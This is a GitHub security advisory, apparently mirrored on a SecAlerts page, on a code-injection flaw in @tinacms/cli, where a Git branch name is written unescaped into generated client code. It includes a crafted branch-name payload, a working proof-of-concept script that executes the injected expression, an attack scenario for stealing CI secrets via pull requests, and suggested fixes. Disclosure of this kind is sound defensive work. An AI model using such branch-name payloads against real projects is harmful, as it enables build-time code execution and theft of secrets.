GHSA-pwhx-cvv3-qj5c: Code Injection

Published Oct 9, 2026
·
Updated

Summary

@tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.

Affected component

- Source (branch read): packages/@tinacms/cli/src/cmds/init/templates/config.ts lines 155–172 — reads VERCELGITCOMMITREF, GITHUBBRANCH, or HEAD into config.branch - Transform (URL build): packages/@tinacms/cli/src/next/codegen/index.ts lines 219–253 — createApiUrl() concatenates the raw branch into the API URL with no encodeURIComponent - Sink (template): packages/@tinacms/cli/src/next/codegen/index.ts lines 363–381 — genClient() interpolates the URL into url: '${apiURL}' - Sibling sink: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts line 55 — url: "${apiURL}" (same pattern, double quotes)

Root cause

The codegen template at index.ts:376 uses:

ts url: '${apiURL}'

where apiURL contains the raw branch name. No JSON.stringify, encodeURIComponent, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.

Payload

The following is a valid Git branch name (git check-ref-format accepts it):

x'+(globalThis.TINAPROBE='hit')+'

Generated source (sink)

When codegen runs with this branch, the generated client.ts contains:

ts export const client = createClient({ url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.TINAPROBE='hit')+'', token: '<token>', queries, });

The ' in the branch name closes the URL string. +(globalThis.TINAPROBE='hit')+ is parsed as a JavaScript expression. The trailing +' reopens a string to keep the syntax valid.

Steps to reproduce

Prerequisites: Node.js, Git, npm

bash mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro git init && git commit --allow-empty -m "init" git branch "x'+(globalThis.TINAPROBE='hit')+'" npm init -y && npm install esbuild

Create repro.mjs:

js import { transform } from 'esbuild'; import vm from 'vm';

// Simulate VERCELGITCOMMITREF containing the malicious branch const branch = "x'+(globalThis.TINAPROBE='hit')+'";

// createApiUrl() logic from index.ts:252 const apiURL = https://content.tinajs.io/2.4/content/my-client/github/${branch};

// genClient() template from index.ts:376 const generated = import { createClient } from "tinacms/dist/client"; export const client = createClient({ url: '${apiURL}', token: 'xxx' }); ;

console.log("Generated source:\n", generated);

// Compile (same as consumer build) const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM const sandbox = { globalThis: {}, module: { exports: {} }, exports: {}, require: () => ({ createClient: (o) => o }), }; vm.createContext(sandbox); vm.runInContext(compiled.code, sandbox);

console.log("TINAPROBE =", sandbox.globalThis.TINAPROBE); // Output: TINAPROBE = hit

Run: node repro.mjs

Result: globalThis.TINAPROBE is set to 'hit', confirming the injected expression executed during module evaluation.

Negative control: Repeating with branch = "feature/safe-branch" does not trigger injection.

Impact

The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:

- Build environment variables are accessible (process.env), which may include NPMTOKEN, VERCELTOKEN, cloud provider secrets, and API keys - Build artifacts can be modified, enabling supply-chain compromise of the deployed output - Network access is available to exfiltrate data

Attack scenario: An attacker opens a pull request to any open-source project that uses TinaCMS with preview deployments enabled (Vercel auto-deploys every PR branch). The attacker's branch name contains the payload. The preview build runs Tina codegen, generates the injected client.ts, and the attacker's code executes during the build.

Preconditions: 1. Attacker can create a branch or PR that triggers a consumer build 2. Consumer uses TinaCMS with the scaffolded branch config (reading from VERCELGITCOMMITREF or equivalent) 3. Tina SDK codegen is enabled (default)

Severity rationale

High — build-time arbitrary code execution via a controlled Git ref. Critical was not claimed because no real secret exfiltration or release artifact tampering was demonstrated in this proof; only a benign marker was used.

Suggested fix

1. Use JSON.stringify(value) to safely serialize any runtime value interpolated into generated source templates 2. Apply encodeURIComponent() to the branch value before constructing the API URL path segment 3. Apply the same treatment to apiURL, token, errorPolicy, cacheDir, and the sibling AddGeneratedClientFunc template in plugin.ts 4. Consider moving runtime values out of source templates entirely — pass them through a JSON config file that the generated client reads at runtime

Related advisory

GHSA-4936-9hrh-qqpw — TinaCMS Forestry migration generated-source RCE. Different source (Forestry YAML labels), different parser (TINAINTERNAL unquoting helper), and different sink (tina/templates.ts). This report is not a duplicate.

Affected Software

1 affected componentFixes available
npm/@tinacms/cli<=2.7.0
3.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@tinacms/cli to a version that resolves this vulnerability.

    Fixed in 3.0.0
  2. Configuration

    Encode the branch with encodeURIComponent() before constructing the API URL path segment, and safely serialize apiURL, token, errorPolicy, cacheDir, and values in the sibling AddGeneratedClientFunc template with JSON.stringify(value) before interpolating them into generated JavaScript source.

    @tinacms/cli code generation templates escaping and encoding of interpolated runtime values = Apply encodeURIComponent() to branch and JSON.stringify(value) to values interpolated into generated source
  3. Configuration

    Consider moving runtime values out of source templates entirely by passing them through a JSON configuration file that the generated client reads at runtime.

    TinaCMS generated client runtime configuration source = JSON config file

Event History

Oct 9, 2026
Advisory Published
via GitHub·08:56 PM
Data Sourced
via GitHub·08:56 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What input is required to trigger the issue?

The generated configuration must use a Git-valid branch name containing characters that break out of the JavaScript string literal and add an expression. The raw branch value is incorporated into the generated API URL without encoding or string escaping.

2

When does injected code run?

The injected JavaScript executes when a consumer build imports the generated client module. This makes the relevant exposure point the build process or any environment that imports the generated client source.

3

Which branch sources can reach the vulnerable code generation path?

The CLI configuration reads branch information from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD into config.branch. A value from any of these sources can reach the generated client URL.

4

Are there multiple generated-code locations affected?

Yes. The genClient template inserts the API URL into a single-quoted url field, and the codegen plugin has a sibling template that inserts it into a double-quoted url field. Both use the same unescaped API URL pattern.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203